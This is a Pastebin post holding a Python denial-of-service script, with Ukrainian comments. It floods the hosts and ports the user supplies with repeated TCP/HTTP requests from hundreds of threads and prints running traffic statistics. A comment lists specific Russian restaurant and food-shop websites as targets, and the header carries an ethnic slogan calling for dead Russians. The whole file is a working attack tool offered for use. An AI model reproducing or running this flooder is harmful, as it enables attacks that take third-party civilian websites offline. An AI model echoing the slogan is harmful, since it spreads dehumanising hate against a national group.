Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Good russian - is a dead russian
- # Доброго ранку/дня/вечора, ця версія - змінена і модифікована https://pastebin.com/4VHMrSEZ
- # Вона має трохи інший принцип роботи, а також зручний вивід
- # Буде вдосконалюватись!
- # Рекомендована кількість потоків - до 800 на потужних компах, до 400 на слабких
- # Можливі неправильні вивідні дані щодо блокади цілі - спочатку інструмент розроблявся для атаки на 1 ціль, тож поки праильно виводити результати роботи щодо кількох цілей не може
- # Для нормальної роботи треба встановити ті ж бібліотеки, що й у попередній версії
- # ДОДАЛОСЬ:
- # Зручніший і точніший вивід
- # Читання цілей із файлу, щоб програма це зробила, треба ввести FILE,[filename]
- # Тепер програма вміє сама очищати ввід від протоколів, тож можна вводити з http:// та https://
- # Потужність значно збільшена. Тепер помилки виникають не так часто, це виправлено
- # Glory to Ukraine
- import os
- import random
- import sys
- import requests
- from threading import Thread
- import termcolor
- from termcolor import colored
- import socket
- import colorama
- # Execute:
- # *try each command*
- # pip install requests && pip install requests && pip install socket && pip install colorama && pip install threading
- # or pip install requests;pip install requests;pip install socket;pip install colorama;pip install threading
- import time
- colorama.init()
- state = False
- timex = 0
- trf = 0
- targ_info = []
- errs = 0
- comm = ""
- def clear_way(raw_str_lst):
- res_c = []
- for raw_str in raw_str_lst:
- res = ""
- for char in raw_str:
- if char == "/":
- break
- else:
- res += char
- res_c.append(res)
- return res_c
- def make_request(url):
- requests.get(url)
- def tcp_flood(ipxf, ports):
- global state, timex, trf, errs
- time.sleep(5)
- while True:
- try:
- for ipx in range(len(ipxf)):
- for port in ports:
- form = "GET / HTTP 1.0\r\nHost: {0}".format(
- "http://{0}:{1}\r\nConnection: close".format(ipxf[ipx], port))
- main_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- main_sock.connect((ipxf[ipx], port))
- state = False
- make_request("http://{0}:{1}".format(ipxf[ipx], port))
- targ_info[ipx]["Traffic"] += 24
- targ_info[ipx]["Requests"] += 1
- while True:
- try:
- tm = time.time()
- main_sock.sendall(form.encode("utf-8"))
- timex += time.time() - tm
- timex /= 2
- trf += len(form)
- targ_info[ipx]["Traffic"] += len(form)
- targ_info[ipx]["Requests"] += 1
- except Exception as e:
- state = True
- errs += 1
- main_sock.close()
- except Exception as e:
- errs += 1
- def get_ips_by_file(fl):
- x = open(fl, 'r')
- raw_s = x.read().split("\n")
- x.close()
- return [e.replace("https://", "").replace("http://", "") for e in raw_s]
- a_thr = 0
- ip_raw = input("Хости(через кому): ")
- if ip_raw.split(",")[0].lower() != "file":
- ip = clear_way([e.replace("https://", "") for e in ip_raw.split(",")])
- for i in ip:
- targ_info.append({"Host": i, "Requests": 0, "Traffic": 0})
- else:
- ip = clear_way(get_ips_by_file(ip_raw.split(",")[1]))
- for i in ip:
- targ_info.append({"Host": i, "Requests": 0, "Traffic": 0})
- prt = [int(i) for i in input("Порти(через кому): ").split(",")]
- regularity = int(input(
- "Період оновлення інформації(1 числом, бажано від 5 і більше секунд, не буде сильно навантажувати систему): "))
- for i in range(1, int(input("Кількість потоків: ")) + 1):
- try:
- thr = Thread(target=tcp_flood, args=(ip, prt))
- thr.start()
- a_thr = i
- except:
- pass
- # www.sushi-profi.ru,delikateska.ru,www.chefmarket.ru,fresh-lab.ru,apeti.ru,kostis.ru,cafe-pushkin.ru
- up_time = 0
- while True:
- os.system('cls' if os.name == 'nt' else 'clear')
- print("_")
- for i in targ_info:
- print("| Хост: " + i["Host"] + "\n| Отриманих запитів: " + str(i["Requests"]) + "\n| Трафіку: " + str(i["Traffic"]))
- print("\n", end='')
- print("_")
- xstr = termcolor.colored('\rПотоки [активні]: ' + str(a_thr) + "\nСередній час відповіді: " + str(timex) +
- "\nСтан(True - ціль заблокована): " + str(state) + "\nТрафік(в байтах): " + str(trf) + "\nПомилок: " + str(errs),
- "blue", attrs=["bold"])
- print(xstr)
- print(colored("[ Оновлено ] - {0} раз".format(up_time), "green"))
- up_time += 1
- time.sleep(regularity)
Add Comment
Please, Sign In to add comment